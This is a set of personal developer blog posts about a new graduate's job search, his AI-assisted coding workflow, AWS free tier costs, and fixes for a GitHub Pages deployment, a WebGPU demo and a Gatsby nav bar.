My degree at Full Sail moved so fast that memory didn’t really stick. Each class lasted one month — then it was gone, and the next topic took its place. HTML, CSS, JavaScript, SQL, UX, Python, AWS basics, testing, deployment — all in separate months. I didn’t have time to master any one subject, but weirdly, momentum started forming. I didn’t remember everything, but repetition slowly built foundation. Not perfect, not deep — but enough.

And something clicked anyway. Even when I didn’t remember the syntax — I still liked this work. I liked that you could build something real and click on it. I liked reading error logs and figuring out why something broke. I liked seeing things appear in the browser and knowing I made that happen. It felt like work where effort actually turned into skill. I never had that feeling before. Not in construction. Not in security. Not even in the army. This field felt different. It felt like I finally found work that didn’t just drain me — it built me.

Understanding Where My Knowledge Really Sits

I graduated one month ago. I completed dozens of projects across school and landed a 12-week AWS internship at Amazon. Inside that short window, I passed two AWS certifications — Solutions Architect Associate and AI Practitioner — and operated inside real cloud environments without shortcuts. I had to study, read documentation, and follow real runbooks like everyone else. No one spoon-fed me anything. That experience helped me more than any class.

But graduating didn’t mean everything suddenly fell into place. What I really have right now is practical skill, but not perfect foundations. I can read JavaScript, React, HTML, CSS, and Python code and understand what it’s doing. I can follow data through a full stack app once it exists. I can deploy things to AWS or static hosting. I can debug real errors using logs, terminal output, CloudWatch dashboards, DevTools, and trial and error. I can get things working eventually — not because I know everything, but because I don’t stop until I find the right pattern.

What I can’t do yet is whiteboard complex algorithms from memory. I don’t claim to be able to solve medium LeetCode under pressure. But I can read code, understand it, adjust it, and ship working systems. I feel like I am exactly in the middle — past beginner but not “senior” anything. And honestly, that middle space is probably where most people actually live — even if social media makes it seem like everyone can build full systems straight from their head.

There is a huge difference between writing code from nothing and steering a working system forward. Right now, I am better at the second one. And at least that gives me direction.

What I’ve Learned About the Tech Industry So Far

1. Hard Work Does Not Guarantee Anything

In the past year, I have applied to more companies than I can count. Startups. Big tech. Small dev shops. Contract roles. “Entry-level” positions requiring five years of experience. Recruiter submissions. LinkedIn postings. Indeed. Company portals. Referrals. Networking messages. All of it. Most applications go silent. Some bounce back instantly with automated rejections. A few move forward, then disappear entirely. You keep trying. You keep submitting. But eventually you start to realize — there is no guaranteed point where effort turns into opportunity.

Some roles were clearly fake — posted but already filled so the company could meet some hiring policy. Some roles were meant for internal candidates but listed publicly for legal reasons. Some wanted someone’s nephew. Some wanted data structure mastery as a barrier even when the role didn’t require it. Some just wanted content writers, not engineers. You start realizing that “job hunting” in tech is really just trying to figure out which pathways are actually real and which are dead ends before you waste months chasing them.

That doesn’t mean giving up. It means being honest about what you’re actually facing. This field rewards persistence — but not always immediately and not always the way you’d expect. Sometimes skill gets ignored. Sometimes impressive projects don’t mean anything. Sometimes it has nothing to do with you at all.

It took me time to accept that working hard does not guarantee anything — but not working hard guarantees nothing.

2. Tech Is Merit-Based — and Also Not Merit-Based at All

There are two systems running at the same time, and both are real:

System	What It Rewards
Classic Merit System	People with very strong foundations — DSA, algorithms, system design, math — especially those who can explain logic cleanly without references. These are the top ~1–5% who can operate with abstract thinking. That group will always find work.
Real-World System	People with connections. People who know someone inside. People who get referred. People who are already trusted. Sometimes, people who just happen to be in the right place at the right time.

Most new grads probably do not have the first category mastered — especially if their education moved fast like mine. You come out able to build things and deploy things — but maybe not solve everything on a whiteboard from scratch. That doesn’t make you bad — it just puts you in category two, where getting seen usually requires personal connections, projects people can click on, or someone vouching for your ability.

People online often pretend it’s all merit-based or all nepotism — but that’s just online posturing. The truth is quieter:

it’s both. And it depends which door you’re trying to walk through.

3. Connections Change Everything — And They Don’t Come Easy

When I was younger, I thought “knowing people” meant cheating. Now I understand that in industries flooded with applicants, referrals are the only way a lot of hiring even functions. It isn’t always malicious — sometimes companies literally cannot review thousands of applications fairly. That means conversations become more valuable than resumes. When engineers vouch for you, momentum starts. When no one knows you, you often stay invisible, even if your work is good.

That doesn’t mean people get hired for doing nothing. It means most people need someone to open the door first so their work can actually be seen. And that is difficult when you are coming from outside the field. It takes longer. It takes more follow-ups. More messages. More rejection. More willingness to reach out when every instinct tells you not to bother.

Good work matters — but trust moves faster than GitHub links.

Closing Notes

I am not writing this as a success story or a lesson in perseverance. Right now, it just feels like I have come too far to walk away without at least finishing what I started. I spent years learning how to build things that actually work — not perfect, but real. I proved I can build and deploy working systems. That should matter somewhere, but so far it hasn’t moved anything.

I know the system is uneven. I know luck and connections move people ahead faster than effort. I know some roles are already filled before the posting even goes live. I know real skill often never gets seen. And I know none of that changes just because I work hard.

So I am not saying “I’ll make it.” I do not know that. I’m saying I am still here because right now I don’t see a better option. I keep building because stopping would make everything I already did feel pointless. I keep learning because forgetting what I’ve learned would make the past few years feel wasted. I keep trying because I don’t know what else someone in my position is supposed to do.

I am not looking for motivation. I am looking for an opening.

Until one shows up, I’ll keep moving — not because I believe in the system, but because turning everything off would feel worse than trying again tomorrow.

-Thank you for reading my vent

PS. i know this sounds like an edgy emo kid rant, thats cause im an edgy emo kid at heart.

My Real AI Development Setup

Bradley Matera — Fri, 14 Nov 2025 17:11:27 +0000

My Actual AI Development Setup

Using AI tools has become part of my normal workflow because they help me stay productive when I get stuck. None of the tools I use solve everything on their own, and each one fills a different gap. VS Code is the main place where most hands-on editing happens, but only one of the agent tools actually runs inside it. Everything else is opened separately depending on what the project needs. This setup works because the tools support the work rather than replace it, and it allows progress even when the project moves into areas that are unfamiliar.

How VS Code Fits Into the Setup

VS Code is the editor where almost all file editing takes place. Cline is the extension that actually interacts with the environment. It can read the project tree, open files, modify them, run commands, react to errors, and propose patches that fit the structure of the repo. Having an agent inside the editor turns small tasks into manageable steps instead of long guesswork loops. It does not handle everything, but it reduces friction when a project involves a lot of moving parts.

How Ollama and Qwen Help With Daily Coding

Ollama runs locally and hosts the models that handle most of the routine reasoning. Qwen models run quickly, do not require tokens, and work without an internet connection, which makes them useful for day-to-day coding. Local models like Qwen help clean up components, fix TypeScript or JavaScript issues, reorganize files, adjust imports, and write small helpers. Since they run inside Cline, they can read the actual project structure and respond based on the files instead of guessing. This makes local models useful for steady incremental progress.

When the Workflow Switches to Claude Models

Sometimes local models run into problems that require better reasoning or a clearer explanation. In those cases, the model used by Cline gets switched to a Claude model. Claude is useful for situations when logic spans multiple files, when a messy section needs to be rewritten, when build problems become confusing, or when WebGPU code needs a deeper breakdown. Claude handles larger context better, and Cline carries out the edits. This combination works well when the project moves beyond small isolated fixes.

Where Cursor Fits In

Cursor is a separate AI IDE and it is not part of the VS Code setup. It gets opened when the project needs larger structural adjustments. Cursor helps when a React codebase becomes disorganized, when a feature touches too many files to fix in small patches, or when a Webflow-related feature needs cleaner output. It is not used constantly. It is used when the shape of the project needs to be fixed rather than the individual lines of code.

How Kiro Fits Into AWS Work

Kiro is another standalone AI IDE and only becomes relevant when a project involves AWS. It handles tasks like diagnosing IAM issues, adjusting S3 bucket policies, checking CloudWatch logs, fixing AWS CLI errors, or reviewing configuration problems. Kiro reacts to real AWS output instead of generating architecture from scratch, which makes it helpful when deployments hit AWS-specific problems. It stays closed unless the work involves infrastructure tasks.

Copilot’s Small Role in the Workflow

GitHub Copilot runs quietly in the background. It handles small things like JSX completion, basic patterns, tiny helper functions, or quick loops. It does not make architectural decisions and it does not interact with the larger structure of the project. It operates like autocomplete. It saves time on typing but does not influence bigger parts of the workflow.

Why Markdown Files Matter

Markdown files act as the stable memory that all tools rely on. They hold the architecture notes, naming conventions, TODO lists, route summaries, design notes, and deployment instructions. These files get opened before making changes so agents understand the direction of the project, and they get updated when large edits are made. This helps avoid drift, keeps everything aligned, and makes sure the project maintains a clear structure even when multiple tools are involved.

What a Real Session Feels Like

A normal session begins by opening VS Code with Cline running and a local model active through Ollama. A small task gets described, Cline inspects the relevant files, and it proposes changes. Those changes get reviewed and either accepted or rejected. The app is run to see what happens. Errors show up, the error output gets pasted into the tool, and Cline attempts to fix the issue. If the reasoning needs to be stronger, Claude is switched in. Once everything works locally, the work is committed and pushed. When deployment breaks, debugging happens with logs, browser tools, or AWS dashboards. If AWS becomes the blocker, Kiro is opened to diagnose the issue.

This loop repeats until the feature is complete. The setup does not automate the process, but it reduces the amount of time spent hunting for solutions in the dark. It keeps the project moving forward even when knowledge gaps show up.

Closing Notes

The mix of tools in this setup is not about trying to appear advanced or creating an automated pipeline. It is simply a practical way to keep working through projects, especially during parts that would normally slow everything down. Each tool handles a specific type of problem, and switching between them depending on the situation makes it easier to finish features and learn at the same time. The tools do not replace development. They support it so progress continues even when the work gets complicated.

How to Launch AWS Stacks for Free — And What Happens When the Free Tier Ends

Bradley Matera — Fri, 14 Nov 2025 15:58:55 +0000

An honest guide to running cloud infrastructure without surprise bills

When I started building projects that hit the cloud, one of the biggest doubts was: “Can I really launch this stuff for free?” The short answer: yes, you can launch on AWS for free — or at least extremely low cost — but the longer and more honest answer is that you need to understand exactly how the free tier works, what the limits are, and when you’ll cross into paying territory. This post walks through how I spin up full stacks on AWS, what free means in practice, where the hidden traps are, and how much things cost when the free buffer disappears.

Understanding the AWS Free Tier

When you sign up for AWS as a new account, you get access to a Free Tier. According to AWS:

“Gain free, hands-on experience … with select services” as part of the Free Tier.

The Free Tier breaks down into three categories:

1. 12-Month Free Tier

Many core services (like EC2 micro instances, RDS micro DBs, S3 storage) are free for up to 12 months from account creation, within certain usage limits.

2. Always Free

Some services or usage levels remain free even after the 12 months, but with limited quotas (Lambda requests, DynamoDB storage, etc).

3. Short-Term Trials

Occasionally specific services get temporary trials.

One of the biggest parts of the Free Tier: 750 hours/month of a t2.micro or t3.micro EC2 instance (enough to run 1 instance 24/7) during the first 12 months.

How I Use It To Launch a Stack

Here’s how I actually spin up a full AWS stack for free or very close to free.

I start by defining what I actually need:

a micro EC2 instance (or Lambda + API Gateway)
an S3 bucket for static assets
maybe a small RDS micro DB
IAM roles
CloudWatch logs
security groups and basic networking

Then I check whether each part is Free Tier eligible, and whether I’m still within the 12-month window.

I deploy the smallest possible instance sizes, choose the cheapest region, and I aggressively clean up anything I’m not using:

terminate EC2 instances
delete EBS volumes
empty and delete buckets
remove unused IPs
remove snapshots

Free is not automatic. If you forget resources, they run up costs.

Hidden Traps: How “Free” Becomes “I Just Got Billed”

I’ve been hit by random charges for dumb reasons. These are the traps most people fall into:

Idle EC2 instances / leftover volumes

Free Tier covers compute hours, but EBS storage still costs money if you leave volumes behind.

Data transfer, snapshots, cross-region mistakes

Free Tier doesn’t usually cover:

inter-region traffic
snapshot storage
elastic IPs not attached to running instances

Multi-region deployments

Free Tier quotas apply per account, not per region.

If you deploy in two regions, you burn double the hours.

CloudWatch logs piling up

Logs accumulate endlessly unless you set retention rules.

Free doesn’t mean forever

Once your 12 months run out, you pay normal pricing across the board.

If you don’t monitor, “free” can turn into a surprise $50–200 bill very quickly.

Actual Cost Breakdown (Hourly, Daily, Weekly, Monthly, Yearly)

Below are realistic numbers based on common AWS services.

EC2 t2.micro or t3.micro (after free tier ends)

On-demand cost in us-east-1 is around $0.0116/hr.

Hourly: ~$0.0116
Daily: ~$0.28
Weekly: ~$1.96
Monthly: ~$8.40
Year: ~$102

Two forgotten micro instances?

Double it: ~$200/year.

S3 Standard Storage (after free tier 5GB)

S3 Standard costs about $0.023/GB/mo.

Example: 50GB stored:

50 × $0.023 = $1.15/month
Yearly: $13.80

But PUT/GET requests and transfer can add to that.

CloudWatch Logs

CloudWatch has free ingestion + free Live Tail minutes, but if you exceed:

Example: 18,200 billable minutes

→ 18,200 × $0.01 = $182/month

just for log viewing.

This happens fast if you don’t set retention.

Putting It All Together

If you’re disciplined:

$0/month is totally realistic.

If you exceed limits a little:

$10–$20/month.

If you forget resources:

$50–$200/month.

If you forget everything for a year:

$600–$2,400 depending on what’s running.

My Workflow for Keeping AWS Actually Free

This is how I avoid bills:

Launch the minimum necessary resources
Use micro instances only
Prefer S3 + CloudFront static hosting
Turn off or delete unused resources immediately
Add deletion-lifecycle policies for logs
Add AWS Budgets alerts (I set $5/month alarms)
Use tools like Lambda and DynamoDB which have Always Free quotas
Tag resources so I know what everything is for

The best rule I use is simple:

If I’m not actively using it, I delete it.

What Changes After the Free Tier Ends

After the 12-month period:

EC2 charges fully
RDS charges fully
S3 beyond Always Free charges fully
CloudWatch logs charge based on storage and ingestion
AWS will not shut down anything automatically

You graduate from the sandbox into pay-as-you-go.

It’s still powerful.

It’s just not free anymore.

Final Thoughts

Launching on AWS for free is absolutely possible — I’ve done it countless times. But you need to treat “free” as a strategic window, not a permanent state. The moment you stop watching usage, you can rack up very real bills.

For prototypes, portfolios, student work, and small tools: AWS Free Tier is perfect.

For production without cost controls: it becomes expensive fast.

Stay curious. Watch your resources. And always check your bill before AWS checks it for you.

— Bradley Matera

(bradleysgatsbyblog.netlify.app)

How I Actually Build Full End To End Projects Using AI

Bradley Matera — Fri, 14 Nov 2025 15:37:08 +0000

I build a lot of projects. Full stacks, dashboards, demos, WebGPU stuff, AWS deployments, Docker setups, GitHub Actions pipelines, authentication flows, routing, UI components, all of it. On paper it looks like I am some senior engineer cranking out production apps. I am not. What I am is someone who learned how to use AI extremely well, who understands enough about web development to steer a project, and who has built so many things that the repetition turned into a weird practical skillset. This is how I actually build things end to end with my current knowledge. No hype. No fake humility. Just what really happens.

Where My Knowledge Actually Sits

I have a B.S. in Web Development from Full Sail University. That program moves fast, one class a month and then it is gone. We switched topics constantly and you do not really get the luxury of living inside one subject long enough for everything to sink in.

What I got from school was basic HTML, CSS, and JavaScript, some React, some Python and SQL, some UX and layout fundamentals, some cloud concepts, some testing ideas. Enough to not be lost, but not enough to feel like a classic engineer.

On the flip side, things I do not have include any real data structures background, no algorithms training, no serious math foundation, no whiteboard experience, and I absolutely cannot sit down and write a full solution from a blank file with no references.

What I can do is read JavaScript, React, HTML, CSS, and Python code and understand what it is doing, follow how a full stack app behaves once it exists, describe exactly what I want in plain language, steer AI toward what I am actually trying to build, debug broken systems until they behave, and deploy almost anything if you give me time, logs, and a terminal.

My AWS internship helped a lot because it made me comfortable with AWS consoles, the CLI, EC2, S3, RDS, IAM basics, CloudWatch dashboards and alarms, and runbooks and troubleshooting workflows. It did not turn me into a principal cloud engineer, but AWS stopped feeling like some sacred scary thing and turned into a normal toolbox. That is my actual starting point. Everything else comes from building and breaking things in public.

How I Start Projects (Even When I Don’t Know Enough)

Most real engineers can open an empty folder, run npm init, and start coding from their head. I cannot. So I start in a different way.

I describe the project like I am talking to a friend. I do not open with architecture or design patterns. I open with vibes and behavior.

My first messages to AI look like:

“I want a full stack app where users can sign up, log in, and post stuff to a feed,”

“I want a clean WebGPU page that renders a triangle and maybe a cube I can flip between,”

“I want a simple Node backend that handles authentication and a React front end that consumes it,”

“I want a static portfolio with a blog and project cards that link to my real work.”

I never start with words like microservices or hexagonal architecture. I talk like a normal person and AI fills in the technical details. I correct it if it goes too wild. The point is that I anchor the idea in behavior, not implementation.

After the idea is clear, I let AI propose the first structure. I ask things like “show me the folder structure you would use for this,” or “where would you put pages, components, API routes, and config,” or “which files should I create first.” AI gives me a tree. Sometimes it's bloated and sometimes it’s too minimal. I tweak it until it feels like something I can actually navigate. I am not optimizing for textbook best practices. I am optimizing for “will my brain understand this when I come back in three days.”

Then I ask for the first file instead of the whole app. I never say “write the full app.” I say things like “give me the entry file and a single route that returns hello world,” or “give me a React page that renders a placeholder layout,” or “give me the WebGPU init function that just clears the screen to a color.”

Then I paste it in, install dependencies, and try to run it. It almost never works the first time. That is fine. I send AI the error and we start the real work.

From there I let the project teach me what it needs next. If I need authentication, I ask for that. If I need a Dockerfile, I ask for that. If I need a GitHub Actions workflow, I ask for that. If the layout is ugly, I fix it. I do not sit down and architect everything up front. I build until there is friction and then I deal with the friction. The system slowly reveals its shape over time. I do not architect from theory. I architect from pain and repetition.

Where AI Helps and Where It Breaks Everything

AI is basically my pair programmer, except it has no idea where any of the files really live and it lies sometimes.

It is good at generating boilerplate quickly, filling in syntax I cannot remember, wiring up simple React components, writing repetitive CRUD routes, creating example tests once I describe what needs to be tested, translating my plain language idea into a first-pass implementation, and even giving me rough AWS diagrams or CloudFormation ideas based on a description.

But it is terrible at remembering my exact file paths, sticking to one pattern instead of switching styles mid project, generating security-safe code unless I constantly force it to, not hallucinating older versions of APIs or tools, randomly inventing config options that do not exist, messing with service workers and caches without warning, and it absolutely cannot handle WebGPU unless I spoon-feed it context from my own files.

My workflow always ends up looking like this:

I ask for a piece of code, AI gives me version one, I run it, something breaks, I paste the error back, AI adjusts, I run it again, something else breaks or behaves weird, and this repeats until it finally works.

People on social media love to claim “AI is doing everything,” but that completely ignores the part where I am the one deciding when the answer is nonsense, gluing all the pieces together, tracking the overall shape, dealing with the real world behavior, and connecting project to deploy instead of just code to code. AI is the engine. I am the driver and the mechanic.

What I Bring That AI Cannot

There is a lot AI cannot see and cannot touch, and that is where I come in.

My biggest strength is that I understand the system once it exists. I can read through a codebase, trace a request from entry to response, follow state through the frontend, understand what the API is doing, understand where the data goes, and make sense of how the folders and files map to the mental model of the app.

I debug in the real environment, which AI cannot do. I open DevTools, inspect the network tab, check request and response bodies, read console logs, tail logs in Docker, look at GitHub Actions logs and artifacts, curl endpoints and diff them against local, inspect service workers, clear caches, and poke at CDN behavior. AI only sees what I paste in. I see absolutely everything.

I also make the real decisions. AI does not know that I am deploying to GitHub Pages or that I want a static export instead of server rendering or that I want to keep the stack simple instead of over engineered. I know what I am aiming for. That means I choose when to flatten the file structure, when to split a file, when something needs Docker, when to keep state management simple, when to use Next.js versus plain React, and what makes the project maintainable for me. AI outputs code, but I define the boundaries and the shape.

And when it comes time to actually ship a project, AI is nowhere near helpful. AI cannot log into AWS. AI cannot configure IAM. AI cannot fix DNS. AI cannot deal with real SSL errors. I am the one setting environment variables, mapping domains, fixing path issues in static exports, clearing stale caches and stuck service workers, and rerunning builds. Deployment is not “hit the AI button.” Deployment is me in a terminal, a dashboard, and a browser making everything behave.

What the AWS Internship Changed For Me

The AWS internship changed a lot for me because it showed me that I can survive in real technical environments.

I got two certifications, AWS Solutions Architect Associate and AWS AI Practitioner, during a 12-week internship window, both passed by week 7 without AI. It was real studying and real labs.

That gave me comfort navigating AWS consoles and docs, understanding alarms, runbooks, and escalation paths, and familiarity with EC2, S3, RDS, IAM, and CloudWatch in actual workflows. I got a sense of what “normal” looks like when systems are healthy and how big companies design reference architectures.

When you mix that with my AI-heavy building style, you get a weird combination where AI writes a lot of code, my AWS background keeps me from being scared of the infrastructure, and my debugging brain glues it all together. I am not walking around acting like a principal architect, but I am also not lost when someone says “we need to deploy this to AWS.”

The Real Cycle Behind Every Project I Build

If you zoom out and look at every project I do, the pattern is simple even if it is messy.

I describe what I want in plain language, AI gives me a structure and some starter files, I wire it up and try to run it, it fails, I debug with AI and my own eyes, it eventually works locally, I set up a build and deploy target, the deploy fails in some new way, I debug that using logs and DevTools and trial and error, it finally works in production, I polish the UI and text so it looks intentional, I document it enough that people can understand what it does, and then I move on to the next idea.

There is no magic. Just a lot of cycles.

I Don’t Start With Structure — I Grow Into It

I do not start with structure the way traditional engineers do. I grow into it. I start with how the product should feel and a couple behaviors I care about, and then I let the system evolve until the structure becomes obvious.

The project keeps telling me when a page is doing too much, when logic is duplicated, when a folder is chaotic, or when a route belongs somewhere else.

Structure is not planned up front. It emerges from friction. Pain is the signal.

If something is hard to find, I move it.

If something breaks too often, I isolate it.

If something is confusing to name, I rethink what it actually is.

It is slower and messier than perfect architecture, but it fits how my brain works.

Debugging Is the Education

Debugging is not a side effect for me. It is the education.

I do not learn by memorizing theory. I learn because something breaks. A runtime error, a layout issue, a failed deploy, a permissions problem, a cache bug, undefined data, missing files, broken WebGPU behavior — these are what force me to form real understanding.

When something is broken, suddenly I have an actual question to chase.

Why is this undefined here but not there?

Why is this page loading old assets?

Why does this route work locally but 404 in production?

Why does this WebGPU demo run on Chrome but not Safari?

Chasing these questions is what makes knowledge stick.

How My Background Shapes This Whole Approach

My background as a medic in the 82nd Airborne plays into this too.

In that world you rarely get perfect information. You get symptoms, pressure, and a small window to act. You stabilize, triage, move, reassess, and repeat.

Web projects obviously are not life or death, but the mindset carries over. I do not freeze because I don’t know everything. I move based on what I can see: logs, browser errors, CLI output, network behavior, AWS console states, and feedback from the environment.

AI works extremely well in this loop because it gives me something to react to fast. I take that and push the system forward.

What This All Adds Up To

All of this, when you strip away the noise, adds up to real skills.

I have practical literacy in modern web stacks.

I can read and understand code I did not write.

I know how to steer AI toward working systems instead of random snippets.

I have real debugging experience from real deployments.

I have enough AWS experience to not drown in cloud workflows.

I am comfortable with containers, pipelines, and static hosting.

And I have shipped a lot of projects that prove I am not just talking.

Things I do not have include low-level systems programming knowledge, advanced algorithms, leetcode skills, or the ability to write everything from scratch without leaning on tools.

What I do have is the ability to build real working systems — systems people can click on, systems that deploy cleanly, systems that are understandable, systems that
behave.

If a company wants deep algorithmic knowledge, hardcore math, systems programming, or whiteboard-from-scratch engineering, that is not me.

But if a company wants someone who can work inside an existing stack, understand the codebase, use AI as a multiplier, ship features end to end with support, debug weird real world behavior, and actually deploy things users can touch, that is where I fit.

Final Thoughts

AI is how I write a lot of my code. Debugging is how I learn. My AWS internship and my degree gave me enough of a foundation to not drown. My projects are where everything actually came together.

I am not a textbook software engineer. I am a practical builder who uses AI heavily, learns through friction, and ships things anyway.

You do not need perfect background or deep theory to build real systems. You need a problem, a tool, a feedback loop, and enough stubbornness to keep going until the thing in your head exists in the browser.

That is how I work right now. Honestly.

The Day I Learned How Confusing GitHub Pages Deployments Can Get

Bradley Matera — Fri, 14 Nov 2025 03:44:22 +0000

I always thought GitHub Pages was simple. You build your project, push the static export, and the site updates. That is what the docs say and that is how everyone on Reddit and StackOverflow talks about it. So when my site refused to update and kept serving old HTML from some random folder I forgot existed, I figured I just messed up a command.

Turns out this was one of those problems that teaches you way more about the platform than you ever wanted to know.

This whole thing started because my repo had multiple deployments in it over time. I had old folders, old builds, old static exports, and GitHub Pages settings that I never checked after the very first time I set the repo up. It was the perfect storm of confusion.

Where things started breaking

My project had gone through a few iterations. I had:

an older site that used a /docs folder
a later version that output to /dist
some leftover static files inside the root
GitHub Actions workflows I copied from older repos
Pages pointed at a folder I forgot even existed

At first none of this mattered because I was not rebuilding the repo often. But when I pushed a brand new version of the site, the Pages server kept pulling from that ancient /docs folder instead of the new static export.

I did not even remember creating /docs. It was from a build system I used months before.

The symptoms

I would deploy and the site would show:

old CSS
old JavaScript
old HTML
broken layout
missing assets

I checked the code and everything in my repo was up to date. The build artifact looked correct. The static export was correct. The workflow logs were clean.

Meanwhile the live site looked like it was living three timelines behind my repo.

The moment I realized the issue

At one point I opened GitHub Pages settings and it hit me immediately.

The Pages source was set to:

/docs

Not:

/dist

Not:

/build

Not anything modern.

Just the old folder I did not delete because I assumed it did not matter.

That small detail caused the entire deployment to serve stale content. Pages was not reading my new build at all. It was faithfully serving whatever was in /docs because I had told it to do that a long time ago and then forgot.

Cleaning it up

Once I figured that out, the fix was straightforward:

Delete the old /docs folder completely.
Update the Pages deployment settings to point to the correct build output.
Clean the repo of leftover static files.
Commit a fresh static export from Bun or Next.js.
Trigger a clean GitHub Pages build.

The second I deleted /docs and pointed GitHub Pages to the actual build directory, everything snapped back to normal. The new layout loaded. The CSS updated. The site finally reflected the code I was actually writing.

What the problem really taught me

This was not a bug. It was user error plus how GitHub Pages is designed.

Pages keeps serving whatever folder you told it to serve until you explicitly change it. It does not auto detect changes. It does not switch to a new build folder because it looks “more correct.” It sticks to the literal path you set.

If you point Pages at /docs, it will die on that hill until you fix it.

That is both a feature and a trap.

How to avoid this mess

If your GitHub Pages site serves old content even though your build is correct, check this list:

Look at the Pages source folder.
Make sure your static export path matches that folder exactly.
Delete any old build folders you are not using.
Clean out orphaned HTML files in the root.
Make sure your workflow artifacts match your Pages directory.

It takes five minutes to check, but if you forget how the repo was originally configured, you can lose hours trying to debug something that is not actually broken.

Final thoughts

This taught me to treat deployment folders like infrastructure. They matter. They carry history. And if you do not clean them up, they can bite you months later when you least expect it.

Now I check my Pages settings before every new repo upgrade. Not because I am paranoid, but because I now understand exactly how easy it is to break a Pages deployment by accident.

And how annoying it is when GitHub is faithfully serving the wrong folder while you blame everything else.

Why I Rebuilt My WebGPU Triangle Demo From Scratch

Bradley Matera — Fri, 14 Nov 2025 03:41:55 +0000

I built my Triangle Demo because I wanted a clean WebGPU study lab that made sense for how I learn. I originally forked a public WebGPU project that showed what was possible, and it gave me the push to start exploring how triangle rendering works. The original project was great, but it had a completely different purpose and long-term direction. What I wanted was something smaller, simpler, and focused only on the “hello triangle” and “textured cube” fundamentals.

So instead of trying to bend something bigger into a study tool, I decided to rebuild my own version from the ground up.

Why I needed my own structure

Once I started exploring WebGPU, I realized I learn best when everything in a project is built by me, for me, and matches what I’m trying to study. I needed:

a minimal layout
no extra abstraction layers
short TypeScript files I could read in one sitting
a UI shell I understood
a direct mapping from code to canvas

Not because anything else was wrong, but because I wanted a space where every file existed for one reason — to help me understand the pipeline.

Building it clean

I rebuilt the entire demo using tools I already use daily:

Next.js 16 for the UI
NextUI for the layout
Bun for scripts and static exports
a single /lib/webgpu folder that holds the render loop logic
compact TypeScript files for the triangle and cube demos
simple WGSL shaders with no extra complexity

I wrote my own initialization steps:

request the adapter
request the device
configure the canvas
create buffers
load WGSL
submit draws

With everything written by me from scratch, I could finally see exactly how each piece of the pipeline fits together.

What the rebuild gave me

This rebuild wasn’t about fixing anything. It was about clarity.

The new setup gives me:

a WebGPU project I fully understand
a clean space to tweak shaders
a simple path to experiment with buffers, attributes, and color outputs
direct connection between the code and what I see on the canvas
a predictable structure I can keep expanding as I learn

Instead of navigating around a larger ecosystem with its own goals, I now have a focused lab designed specifically for learning WebGPU fundamentals. That alone made the rebuild worth it.

What I learned

Rebuilding this demo taught me more than I expected:

how the adapter/device negotiation really works
how pipelines, buffers, and shaders interact
how the render loop lives and breathes
how small changes in WGSL show up instantly on the canvas
how much easier learning is when the project matches your learning style

This project is not an engine. Not a framework. Not a competitor to anything.

It’s just a compact, personal study lab that helps me understand the basics without distractions.

Final thoughts

The new Triangle Demo is clean, simple, and built entirely around learning. It keeps the triangle and the textured cube close at hand so I can focus on the actual WebGPU pipeline instead of navigating around unrelated features.

It’s the version that finally made WebGPU click for me, and it gives me a foundation to keep experimenting as the API evolves.

The Day My Gatsby Nav Bar Made Me Question Reality

Bradley Matera — Fri, 14 Nov 2025 03:38:57 +0000

When I rebuilt my portfolio with Gatsby, I expected normal front end issues like spacing or a missing import. What I did not expect was the nav bar fighting me like it had a mind of its own. On desktop it looked fine at first glance. On mobile and certain screen sizes it turned into something between a glitch and a crime scene. The spacing was wrong, the padding drifted depending on the browser, and random items would shift like they were trying to escape the layout.

At first I thought it was just sloppy CSS on my part, but the deeper I went the stranger it got. I fixed a margin on one breakpoint and it broke the layout on another. I aligned the logo and it pushed the entire menu off screen. It felt like fighting a ghost that would fix itself when I looked away and then break again when I touched literally anything.

The first sign something was off

I started noticing weird inconsistencies:

on desktop the nav looked clean
on iPhone it stacked wrong
on an Android tablet one of the links slipped down a few pixels
in Chrome responsive mode the entire thing bounced when resizing

It made zero sense. The code was simple. Normal React components. Normal Gatsby layout. Normal styled components. But the nav acted like it was built out of jello.

The worst part was that every person who looked at it gave different feedback. One guy said the spacing looked fine. Another sent me screenshots where the text looked like it was orbiting the logo. I had no idea which version was real.

The first round of fixes that went nowhere

I tried everything that made sense:

tightened padding
deleted margin rules
replaced flexbox with grid
replaced grid with flexbox again
normalized line height
used gap utilities
tried a CSS reset
rebuilt the component from scratch

Nothing solved it across every viewport. Every fix created a new problem. At one point the mobile menu icon drifted so far off the screen it looked like it was trying to run away from my codebase. I knew I was missing something.

Finding the root cause

When I finally slowed down and treated the nav like an actual debugging problem instead of a quick CSS annoyance, I noticed the real issue: the structure of the component itself was messy. Not broken, just built in a way that made every style rule interfere with something else.

Here were the real issues hiding underneath:

nested containers fighting for space
padding declared on both parent and child elements
flexbox alignment rules that canceled each other out
inconsistent font sizes causing invisible height changes
Gatsby theme defaults adding margins I never set
no global spacing system

Individually these things seemed small but together they created a death spiral. There was no single source of truth. The nav bar was balancing itself on invisible calculations.

The move that finally fixed everything

Instead of duct taping the layout, I tore the whole thing down and rebuilt it with actual intent. Clean, simple, and predictable. I created a real spacing system. I gave the nav its own dedicated wrapper. I made sure no child element used padding unless it had a reason. And I kept the font sizes consistent so they did not secretly affect vertical alignment.

The final structure looked like this:

<header class="site-header">
  <nav class="nav-container">
    <div class="nav-left">
      <a class="logo" href="/">Bradley Matera</a>
    </div>
    <div class="nav-right">
      <ul class="nav-links">
        <li><a href="/projects">Projects</a></li>
        <li><a href="/blogs">Blog</a></li>
        <li><a href="/about">About</a></li>
      </ul>
    </div>
  </nav>
</header>

Clean. Predictable. No unnecessary wrappers. No random spacing rules.

Why it worked

Once the structure was clean, fixing the padding and alignment became normal work again. Responsive breakpoints were actually responsive. The mobile menu icon stayed where it was supposed to. The logo stopped drifting like it was floating in space.

The layout finally behaved because nothing was fighting behind the scenes. No inherited margins. No double padding. No default Gatsby theme styles sneaking in. Everything had one clear job.

What I learned

This entire mess taught me something simple:

If the layout keeps breaking in random ways, the structure is probably wrong.

Bad structure means every style rule becomes a gamble. You can fix a small thing and accidentally break something two components down because everything is chained together in ways you cannot see.

Rebuilding the nav from scratch took less time than all the hours I spent firefighting random alignment bugs.

Final thoughts

Front end bugs are loud when the problem is small and quiet when the problem is structural. The loud stuff distracts you, but the quiet stuff hurts you.

Once I cleaned up the skeleton of the component, the nav bar stopped acting haunted and started acting like a normal layout again.

Sometimes the fix is not more CSS. Sometimes the fix is admitting the component needs to be rebuilt instead of patched.

The new nav bar works everywhere and finally matches what I had in my head from the start.

Forem: Bradley Matera

Testing That I Actually Run: A Small Pyramid

The "Testing Guilt" Cycle

Level 1: The Infrastructure (Why Vitest Won)

The Setup

Level 2: The Unit Test (The Bedrock)

Real World Example: Data Transformation

